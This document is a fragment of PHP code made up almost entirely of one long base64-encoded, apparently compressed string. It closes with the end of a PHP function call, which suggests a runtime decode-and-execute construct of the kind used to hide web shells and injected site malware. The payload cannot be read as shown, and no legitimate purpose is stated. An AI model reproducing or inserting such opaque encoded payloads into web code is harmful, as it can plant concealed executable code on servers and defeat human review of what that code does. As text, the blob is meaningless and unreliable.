cguvKctso+yhy5JF6O8/fQ97lKVaCX5Ek5uySjM9NzrcISDpYkUsJfYGjIf+knfoR8iV7Mvpcy+hfkiHk7pcs3pEIreGJDNdrLspaDcXHDKZyHQcQBfP1set34t+m1nWnCOkN+JU/eGoKMLqDzG8nS0chDDr4sk7Cj6FNtgifUBWnjz6qMhZL4+wlZ/oVW7Fg9YTUptgptjPpZaNVo0K1bBiO4Jv132FBXJq8CA8wWIzg0+ypo0NsBWXiBOj+KF92R6aWjyRiOaB0BU/opA6kjkJnRuxSYEB5js0cHbKXKE2JBSDoPk+CV1btMNuD5grT3EjGgsZgdp5PFcJ/gFX0auzt1TbHPrGKoWQGEZhKxpvxfTPnVojtGO5rMLY5JjUU/xccnuVLIz4RwabQ3Mp8gEME5JEcdhFXk0BQ5NEUekVwJKxP6EaGSy5x7bTauFGS2CTMreYy0nCWrhzHmzcYJjWCgto+zJRjtTdVmyG3Zpw4UDWrbWW30Wzbz+i3LVmIUURipNlIt/5Ztr92sbf9WZWyWPPutgC23a361KFUZi1f4t6t3D2yB8FbDmxBeim2N8FIeMBHv1LNP2blF/fyk85A7QVq9fT9Iwebh74ejJFRaYSdscZV4JNrhLWYgXZAEv1yUmU/GjvcdubQipVo6i6ZbDkFQHmVtarjdcWXdlbIlUsnx0lZi2AdVz9EjSCwliH08NqNelCJVNPQslUC+dqLN+02U2822PIswXI4zrkWD4c+HgpCa5rZAMhiiVRvqvqpf1IzUqQydg0Gafgd7wpKnLkbXKJf1hnCuLcYYVQiGX7TeFO+/QHzM/opPO1fjHLMCKyvGYs1NcdxgPh1I4ee51IeoFFAv005q5eNm8GoRND2F7aJfsgmVk5DNm4dVKPAMYeSsOwARUUU1x+O+FfY7pLDfnUYc+kz6sYFmmEWnv3TOPkZaVFwXvaiiUIjjE2wVCQV5NNmRYuyhsAtDvKzqIyAL+vD2Ly+Z6QbRh+Z8nl8UmgCwIpV+Wu9GLXHHwP/mBnQPrz738sspSi613IByf70qF97skLI/an/yV2/2EWWP/XWPKXOAmdrqYjEzU7rq8TOnNCFToIVY+JicFBxXYDwC6DDvVnQ12Ev6jU1LSagdrAa83yInXtKkf46OYhErbSjWkfJ7T0TVTECWb37vIVZKaNq2yO/YMYmCDmn1T0LhNkJ0Gws5EJHViQq3oQ9HgD5oz8Bd06/Ohm6R1q0kSodrVruxhh1buzIHMnkRRTozZFSroOih2a9Ss5NSRVUfl9xyrV3OwGZ1q6PLQcYqQyqC3PhyICLfLJ/M0TEbJJVZiefNKGw6uv5m2C8GsV1n/3K+f69674rum9HiLnXd1Oxza2047fiTv7Tj6t2ENXeb2LsQCpJHbR/8eMk+AH7tLeHVvgN8VFkXP+T84lzD2NGylPZ4xNEOd+SvUZvm8+FOFoYxnAadREsFzby0n5nrmpWtSBjZEcMqGQ/Zp61afyHKcC04szweVPMDI2mHTRiHOWn7iur7p1NzVSWi+Ai6OvMLPh2rsCxH7aYLuraLya6WyEaj/plINrp/SPLrbN0iK+zvHI5vbqzLfHpOKs6o0BS1Kk0cfsKx/SWb34yJZUAq9cyhLoRL2BepB9TD86iHtS7nzIBAsrvOWNNgNAvh8dG0pmg4Dpr00QyOUKq38im0coP0C8/pSHt8fXSAZY6PDqbHlbbVaRCak09okDQLlYLsvA9D4UxWPnScA6V6wBhK00TO3ynNlhyWlWYL1Voms6L2woosuVo1tShLVU221NXZ11lkGt/XY4gPHnXeSxaX3TfdYCZGlThq39zYp5n4mkni+1rGe85w0pYfomxYeZUN13LE8mkb3rt5tObrNc4WxvMp1jt0Rqy1jWA9RlsQCM2NbsHv1O1rQ1jfXOK4Y135cpWf1lahExfXUOyezyaSQhwcgWaOPxisLaSgxgQUK2Oi0quTsTb2o8/jKohkSA2y0wzJ7a2e1KLIxjYdMc0sNwxPzVbpL0x9e84OxIVgkCxjEJ/a1dGhuW2VNbFznMnzTb0sXIev6mVNVmjYrFl/SMNhvh8mnzl838pa0pmRx3mdUev7BkNg51EXJukn2Va0ke6N+ncZpwgnDtVdD0X3ZAZ0/byH5EJdJgOPtlgEWT9dXVzACdk2UNAsjCMFhK3ek/La4sCTciGJj8fjsOoBPyKYRnQ/W+MvcvmN1zbc8enoLMOieDWhjJkow0yEJkC2AM7gvaNUEGEasGYqPOrby22kJ7vVt19DF0o4QC7hKBDdQkwatEWAvhVwS3W2YtybJ/tB8/DDZsO8Ng3lNnCs7c+g3ZfXGJVrRHrUtUDbMIS7tbTaDvxWmGGGL9ox0ME0XhJ7yoLH7M6gddphqB7OzrIQwzmFscoKjojJ2bJTdwwizGIG//ePj4iQ03M+WYi2/GGD1T9h0MR+m0HYUKEjQOJZ0D9YlYPp7ZONhSnLbdrCGNo0NTiqRHiMP5QcZhcC8VaXge/8svCV6hdjXYqN0r2lrELlO7Lf1KKfHv4BAeU4sMDWH83+daCGmKangT98M70yM72a2vN8SNBuhlm5+D+YbUZH4Ie4IXVJ5I+YsK4shYp0S1PShvVYc76yTN+sxyTZkrpgooI1cTBzvpVQv0QRZX6HKHKFHaN6W/b6qdtCqr9WiasgQ21IMYdzO6m+wnhJJl/zbKatv8Ll6Q1du92crZhLcRExJsuyT5h50MUeRyTiAuSE5o6ch8rltRWpVAqFmlfTpTF0WrMDWNg3U6F6oYfOKR8ps8svUBfPjRglr7FVbIaoQg0dK8SK+cPKUfC9HRXvDL1P8J2SYvaW7AhBIL6cEjRrqbJe9fT6umEHX2G8P+oEf1G8dH9vaS3l1rW9C9hJYWpBRuucjPkvG/MItUHuEeI7JfJ7WFyjWIHJzznIn1vyhDrVuWGcqoSvi2uVhh3YdrdZKGre0G5ZJtKIGgi8xjx/W/QbsZK7ak0oaHgbyKGFfmNRUitEC7glx/h3ZYRVms1LIKVxDVXOyVoyKsYigcGHqJ00yQxj0pgt2epyTRFaHtIaagVG4NBrse9qkIlmiF1/ie1ZJJzaR7ocOK2pUEV2mkKKla39YzFHSzjPiewaCWczc1HJvXL8Faz8MdcGGDO59HMfQ+yhLC7ry9LDksqJvBuUvQpsBRk5aDSw9vkA7+hfBcdeiNV6qffhcjuej1yTh49Cl0UIY9AmNjIAAHCVVW3PKJxloMaWZrikgLJGH3Mor44NtkqZl6UuZVEek5+az8Suldo/bqU0mpMRGZFDsmjoFI79MC1m/IjrPG7Qvi76SqavT2rdLPTp6tYuLmhvh44Qr5m6i+DfA2f/itKDDok2hAxGBNgPm3w7ds8twG03vieMuHUTQLdc4e47QI/Y7IMPQGe7NUJqjs/wIUjtNrnUUyWsNRP3oKzOTPXX74qWH4xnkOrBMkit4RikfTCGIee6A355ad822AUVHwy3uK0HxCzV4FKmqLHKJpYVnEIaKH9vxSeSCKVwIoLNH4lW2D9OspwJFdO49d8jQa7GgaZk9z8LSkkln5azGj3yCti3Y1B1AutR6Rb08TREeITpH4JF3na1vBa2aiDxYFW1TErVb0UuTtA6I0Y2qqptD31CuZZ6pbIMy9A+amJNXUeIhXOzS7Ce0kH6vnLfUzmG30qP+Lx+d3LE9R6EGummCIluVbrcikZWe0si9og7Mk8PxnAOHQP/dXkaKVwZP/ATsXQ9RqAJp6zD0F0Hz83xV6gs+or0MFOE8lDDW5rBaxG9qmKvTveZ6eGnn06vw+MXFHutMZpsgW5q8M/wtHVnpMPasK7nvEn9eCcjZLPifTZGTCflpOgwo6bzECJNPprM1Yg31rp9Nqrdh5jAsYGivWtQgd6o9ve8GBRoEODRoNGN/7d4fXZMpaSMxOSif29v/5sJ7JP5CMO739oLmrc1rAr1HbzlAj304nwhzf1Ri6P6+70WR7X/eyzO8TNU583n+KjTFlNFD2rSCd4+Sy54p4n+YzZabNW6Knin1r+8LnpX27VvivrYktBHNLDfJD+hwrmbgxjn1eErscDp4DZB7FVgoyw5FDnq/k08ubpLnmuLHmtqPCfNeaksnxgfkveIVv8P4j7c3QfyH5Hz7sGBqOZD8yDT6sNM4TYyZ/r7MCK3aY+aPv7JhO73I3K/H4H730Xc5Lh9X/K2DWnz3coYH0/I+DvdkaJlpKKYzfCoOzsOm4YqQgpZQqKPnbm0MJUr8rwh3Ev5Gcnx01NOqRxMSdnAtbIR/uUIg/iFlC7TafqEi1dCLUcal6NRqjIsQqlOTQaat7VoXzS1rEXgNiha7y0taJnaPy47S7dJdGbbhpl0rTfTsV5m9PR9h9p6eBZd2naQNu2771Dv3AYNWCKT3TZQLV2rZQoCu/pWK+JKzNtN0+3mDpD1ic936lKR+du3gPCNu62bZgrbL5WqctuI7ta0tXXvMpGOy39uG5PFqe42qrtWtFU+akip+kgUpUzVR6I2bao+EofKpM6vxLPFU09aYuFsan0n1S2TVhMSP7an/uTEXrfU/pHYCJPaPxIXqqn781bVmCHyxqbB0XBejZGRYRhCYGP0A1YLfoW1MlezsSkCP9wSoga7Gvf4fZs1h5EGF7jzmYR5deOrWXnZkBd0Zo2j3KgrYVx5vy8TAdE8asZHB/nxpgOMsbnCWlA7/GfLVvZioFzlmoBtI1ldjRE6HtnKp/9VgtTVGE2uv386K2Fhfpg18Fcjh0MgppAFyLwxLGaF8ivZahy6yW0EvasxPgG3DmMQ2T4EYf4+G/twhRD6rqgClf51MIVncE9EAahsszTqpsPsbCViEzCawSazEhjm1HumXyPca9tAdzs7C4b1bIxlo290IfCEvyqq8Ugxzl7N23y1qdV6KLAPbrSc3qfBDpsQFi32+W3Rz5ubgp95JMfKYsapADE5ESBjrm/GWBewTODEvwHrJxUvBzKdB+JOEkNoJkRDmuinWfCLPPfRkgpf5SV3i6/kBz81T5/KigsQhC6iE35I0JP9In+Lpi6JFWBxTSN09kjUgLzFcPhhIvytw1eYgaEeBJOgyeWaIzJ9srfhfDErJ4PwGI0mnUO/TVwsuzeelLUZ1DDdPvDwyuno15cfe1QIV2NAjgEw7+rwjNNgYJZUJiy3nOq9P7TnpMAbjBKqwVA3qK69IrnraohX7prCjn+Dt4hU1ouzvrKnCPtIwM5nTyu1mgkXSEZ8U+tKKZpksDBCtNZcy/NomCAp0ykZohIALPPCDcpNvpfz6TVJlHbX+wsWd2qqLkTs7SwA1Saglu6sHTUyxTq1or5/i34gF5F8HG81KlWPx3XvYQT1NURCf9clFMa8/Qo2/v78263nCcxyyymSZOwH9N2XnLq934pvGMeHLvgHAaOy3Ot29/Ke8TB0Sz1gZnBcQjdCZY3Ah0tKmc5KtGR+SlUo5XrohL24fP/jcJZxpy+sV7/ZoZ1yWyx1SVn5VQ8oH04VZXR4/rSY9VCu+g4WtXUxLjEYeoujwh/gOyOLfPzxYbu9iQIrch02pbFm+Gey1U5oSjoyCo1vtSY+CB8Z1Ss9/8hnGG+h9TGCtPWxnGH3vyVHh9bH5UXr4+77BZT/uLhGEwr4wBcuPx6PLkcLzMfnCdHsRk6gK22FY1ngb819tJ9ci3hbrTCdZm+NYOIW6PwPYX+1Q3rEeSiGkSGf/M4ykWdOTHdEkVkpY8iXkfnWVbWOjqqyOST4REZu3O8XW+1jb4+kEBIv0VP75sYqQnSCXlSFIkTvyCuAnnfyTdVpKjW1jDxaq4I5JKCm9GUCQdFPjOf2zaRfXP9wEYUHYdw8xNkxEV4HLosrx6ejMx5BaucR2HVWxyz0psXTLLXWqE1/rWbvJXDjrDcK3OrrFnnbfG+QuAVz/3+RuOnpcQ4DADuhstJLzmW0UzK5BB80OVkm711R2v8umd0N6NJbzMZKdhgntcAumP2fxXugDXaQlzYee+2YL1sGfanFojODQdPlc3R5Op/l7yL2jaLfkVg1+4oOi2u3KPl8eUqSAxaTb/zSdEB5fFXv1TqYSG+Z6SLfcEgLK1+5Y3GsBI97HWWEKlSGuJevdYDfxj9PTSNVH4k9+tT+kehBp/rrQXz4HE805Q3XYdvgav8v/W6KvN+chkResRbvEoB0nvcWEfu2SwAJf7iJUDtiJvh5zs8d2N6BvSvHObBXTt+jd6A/djj3xVJXmPAv9Xx3Z1MV9rwP2R1fqXQ4y9LpJG83d3weNrHMylhSy6inwCbRENse35rw5c4U4o49vI01ZAYcW9tq47gNgjasyBNehjCsvO9gl+XnHRD4mLqxO5wqyhmm6WaGOc3w1SRcrawed1sgL1xGJsUaosxLVpltxUMKVKKfR64WpPWXkvRja5tyW/ONJ7R8VuSqsBldqA6+HMcoPXzUxkDVo8m+k2A5tQdNCwjAF1XbPoWya9eu41zJNcH6s+SHekuoPYmHS0HGDzR0fxVYbUah1aiJ3rWF2bsKOMkvbhr7d72DtO/vNUyrt2hgeMjYpgh2Rmvwmz/vt9E0DmMdo7PeXj7rsZL2agIJBv3WduJWGPy2vgr3bZWHhNDsAaFP9X26iQrZ2+4t77m4s3nT8Z7Bwf2zdsw7wMssLC8uHmTzfCnwrSuGrBHS82bhnbbSHXZS0JRVhWoPvJ9qTQs6PeieQska5dj6pnJyqrvKZKptRU8N24Fec3yLG75NpFcrvEi126XeG7T14JeW87ChZog3N2GVp3qG6DSEW9LfFBTe0BrPyTRFu9XTEKav/m8Xf+AufjzrDcmy9V5b2FqWOzLBP3LrKtx6kL2LcODQD/9M3MP3D9zwVL3hZQmnIcoI1iw2lbnXUrc///zzO67vwru4QZVN9/gtoFvGDWXuNe5ZWS5+n3EvyqveMPS+xbdxLlTvntut9qDfnTfdmsmt/mfRsqCJIG4GH04pbHg8jNy8W4/HuCkQn+eBxPpJHtdugc/rLZ3hI1deX3rwm6c8cN41NYCdVssjh11TmoTuankW3TfVqI9JSe9ra3nGxRL8mhp0EKrWkNORvwZRxWoNIafrasB2q9fgh9L864G7vrYeTEK8NYjws+KtzhQo8rbZbfpGGdPIQl8L1B1NUoRbqGb/TymyhVKEdB0aYqLuWKcYQQ2KVRZ+WgK/BXbBLBDnnURCHjdR8IPnw4uoVp65hCy8txvaipX2eKe5ibSV7teF7He3Pb2hq8lbdiQ4yqvCgpalx1UtpuojMYVT85monZCqj0T3lOqvbaKu1d3r4VczbDyYX35HRwEwp+CVHcPLwyGWdM2uuEhWCai3XVBg9aAsvt9jN5a1KRg1tGdV1jenena+fJA2mk5jACeM6E8gMuFanZlxjDqCtAKEJ/avk+cPlUsWN0qFreMYd5zAjHHHCcUtDaORq79LydnQoftYsB367daOVfgkb9925obujQqlNnMYgRshy+qXY+h4ex2Niw/tU0dLkh77hS+cs0q+b086xIn0gvcovm5U+p2wxsSLVPFaautHN2b17iT5vr3xPRxb4FLwmavxmN7H9sTDruavedp61stU6W8ugWmGClshJ1RxM1vltACyNOup6fHdYX1+Kv2+E5RISzVwzvCZ23p3knxfJNHxD6WXXOSRekcm57592VGlleel3fb63V7Nf5ARUNxlZwAUVXhd75L5MF1jW2rz+/f+B239u0XVVNGqfcb8W8fUrCPslXdiV+MP41BiAdepAIF5iPJWqg8GWb5vOCr9dxqQiSNUG9JHKGU9XrfdKrk4vGE+GVTekqDVrJVmOwL3krvjLRWqX6uqC7V95e3IVlXxhCCDcWDFJLEYt6Y5vhoUxeajxvytEx3If6NLIHq5GAbjGSfHSb0FgJU6/LFtq2DqeMNI5S0k6fC5cqBuh09WJhfyQEmfXvJe/0QJvj3Uu2Q5stoEQ1ulfm09jh1BlVrOs3KeVQsbSRM7gbMOvkEf3tyoX3OJb6zq/UAPX9sBbfXhg7AQ6imzz14/an0cH8ChD04b1cxfotN8/7ezNN49oFMhC2x88MNvinLtimm6J2imdvZwQJNCierKgPCe+S61OmRYaiumXomF2KvwOGxCIQ5oLXqn0LoZQxjT6bVJxw746HhBJXSQAond8QVP36tW8pznyo9WtLfcV1ICXzl5wSZI0B7YhHQ2iPfJv/GNcA2HUD9QT93f76wbTqXwab0yRzSvpx+1Yw8Ot1e+8X7aXjPeIz/O7x/6ptFs/g7TOPaPIN56f64cIzNkBWhmZr1HX8AAJYYifL1UtFn9MBZeb2VOOrtiAQZ/2H5/rkvIb6fM49mAsNeU0im6HC6P1VwWytfBi3cjoAEFlLTzWQXmNp6FVrNuFhcXiqEnEtcIg85K9VeiwJKqj8QaSGp9J06fqfPrdwj5/yhelkQ0MonO3z5rBkdD1Knr2P8dvSwOJeZ61iMw9SLspu2oLwhtRpORPDpFcHxxNcVXwor+Gm2eU4bMqakViWfP44gCTGukjaDpFGfkQQf19/yuOQ23slp/Kxa6QhpUU4Iq3N0WO2oZAlqGYJ1NmjuLhGizO3t8iPcOM/MAVtQnNcCKKSman7rJaJ2u0MbJEgQKkkDb33Ex+95SnnWy9rwWwEtCZ0CjN3iBon4pFmLVWCftsbVnjZ6gono4DU3Hj/twhCTvH/3cpouSTgF+2XElQqlLa3AkxKPcgZTriBMuvGTqsdUJjl0i1If5es/d8dXsDh0LGXL6xwFUOqyPxxqATUDXTD6fDbwEF4eAeXriVp5ODzf2Vp/wps5kvqZPnqzpyypvdbqd6Lu1dbZmen7uuPq5mC5K40Oyy2jKL42/WMwebiDc5KahWKzaKrzUY8mqI/PErpXMVH9t9TAJl37uKrvloOfLU8E86sDrd4VVrPgl9X7XEMsgkKRnQGW/Rb+t7LO2NeeuzWXsin4eA+XnDouBhAoZ7neJCFttxR0ohZ6euqoiPjYYuy57CdYB8Rb+YfUr3MOeFfKOew/ZYST1fMUgrGbuwh763e2Zgz0KcxdgmrhVN6BLaolQWWiU/W7PNpub9kt5Lq/V734NS/Vtd6zR9emL7xsHjS/KyaTg8bCJhdJXdf8+L2bPy3fmBXBOfganOV8ywIyTLQZlW/7NfwXYFfboOOWTDSN80uDg97URySPH1RG5yb4RrekJf3/wxF3G2+/+11Uxe7+e7wj3N+UUn/mpvGr04OCcj+dlg00EkWg2ycqFnvshtZ0iRU59egzHN4A6K1rbv7/hrUfl7/8hGEL3fHY1qTxkD4mT/K3aSLw1fLtE7ie/p4e/alpDk+PRG5p3MyfFNWq/FuVggGEHlcK3q+4h61pfk+VteN2e5tBf+iFMxFGkajqlrpEzH7PibWTVOf8VV+F80R3Tvkv63YTDVbUTi7FUCVOPycJGkPI2khzeQToH95Dk4KeVg9tIcvDTzoGdpHLg08uvaQQp/0m415T/JNxTyn8Sbj3lPwm3mPKf7Th893vzRpyOVs9deYjNh5EmSRZa7MmhnVQlPjDGJ6S1MqnObjAX8/3ulzw1IXd/n5DJG2xaWeewuv790dygQHXmDv37MGrpm7mTY83cQMRdHS14ddcIZAZMwgnsmRJJ+RfAcplq5qHJHZbvKI3Os0Arzc+tCXO8fOidlMgoUvm75c6qy8a02ECidI7rqA4jt15TJBK4qot06wgdubgmFPfgfyM504sQhvD59AkkJ8J3UgYACLUIgpQB0e8SxU8JIH/4itkLNs0HowmbB7HjJnE47O/pkxorpPUSZiqAxOlk9rP3H8lMjX0gTbJahuZvyqxHCWP7jJwftY/UJf3bZPhV3S6B+7rl9qkc6SXx51E75sz2ykFZjQMepPUcG0eTi9IcHDVQrWQ6FOJviSThPxOaAnQixEW1k3i9TYoI0dTNrLgARBhG9i6kDBGPRn37oW4tM7lldSM2beL+KCMNrR9hFVv9wyX09B8wrcJ0vvQeyW2AXuaj8TkOjSxZR2OMUmjZpH6k0myL1NEYHzJ0y1hvAFKJF1fd18DwqsUk2S2rIgmrQvLbuhgejR/DXusNL80T3mxqaGewKaJT1FcIEqb2PpZrYBO5Y8U3uHHrdTmaVNTvK8dwkUGTqo+EAZHyn8Sab2p9J9YUU+s7cQeauj89mEGw8qhhHOtjWN2cGoGZWh4BHH3pW8QhflfVimLxKlgvhbPdO0d6jPYlWKU8T+CY7K+N3VRZDmXBETqOGRqrnpT990broE3y6zg9m3uohU5cyh0RafzrGvTfUbHems2315wQrbWuYEM9gRAvXDkC00fTvPemWJhN8kCnT252kzrShuugVEdS+gHnb7JLqZWBRq0yOR4cK2WimRjFz+aPUXkc0LPpM2VlzO1CJokbDqPDLFvyiDuz+bf5ZJCpTPxhnmHl5rkh+GWiUlJZtZHMi216BDRqHF6/z0ISpuAPq23P6KDQ+tFB5vrRNcNG2OT+KgOFanqgxP/m3+ffR1yLLCb4EwO56B/Hf/nss08+w2BYcydq0jcT6HrUb0xpkB2mgxQli8ZSuxPl4af8J+FCKf/5Z91qujNybjPdLM8tpoXvgvtaPDY/9fpwEglf9aWuZJoV54wvGU19db6sYjAnCwHw1ZCsao0XG6q8WFPH5rtVomLP2kJAOyG0oLK4mmcOJMjwqmNQtAIise5x0gRpK6kae+2uKxhMsmQdj52uBdJWx5LidCtp23QKG+OWLgXsVpeSgl1ubLtnlNYLtXbrenlR7+bFtv3MF7Miv/T2UV0GF4pLdTaxEjsAkaxSTW5SrMI6yyouDaw8I0Vz5iGan/PhIoNKaka0p/io0nQw1bBaIBdHFCjcE5YbtzfdrNgmkGrfx80gRaNS1Q9y6ukxBpvWoco50y2kvSQxhOsIiOWj6XXjU/SLPP5HOXuD4QxbrcZ0XOArRO/y0QJ+qlDm+G+gthSL5GY8ieklcWCWOIiVuOufOLvaQ/x+j15slmGaTr29pOs6TDd0n24aTLppbKnzyydSc4HQWlRbslbBLOviJzmRSiTPYu5KodU8G0CY90xlpWG4lbpCt+UcCG19BJWaK20C26MCas2V4tQW5nQqiatvRmOvFbRK95sdY+75dAS4BBId4BV+auNu11RXDSuBr/WGulY7dzHVHfUrjdzuZWXA9CBOVtP5Rh8rT3Yj2sLHikKQ6okRuHXAr9vigTkQF6jCmKDkM6Rjm2MacCmKZ9DAcAZSS5ly0K+4o9dfEipDtXLk9eLwPxGfHiTeBjd8nxhTMrdbgmts74iu5sovFcMJGRM+5KFip8GlAj06ePCcLTWeuyA12Z3TU/7zIU6SQnsiqEfDu81B0tzEYGm7unox26Gaq9XRyXQ4/dNFOSOc3P3btz88efzti9PwsuxfjYvzRXlOnh9njXze2IUz9p+K3rBsBBpmQataJzw73X1zdhoCwM5aAQByQ5nX83N8/qmrfRuhRmP1ahJ0VifHf4K17M1G0wV87ezv8zfKgfv7mEePcMBfnPgxTQOQDXUlJ8f/Dw==");?>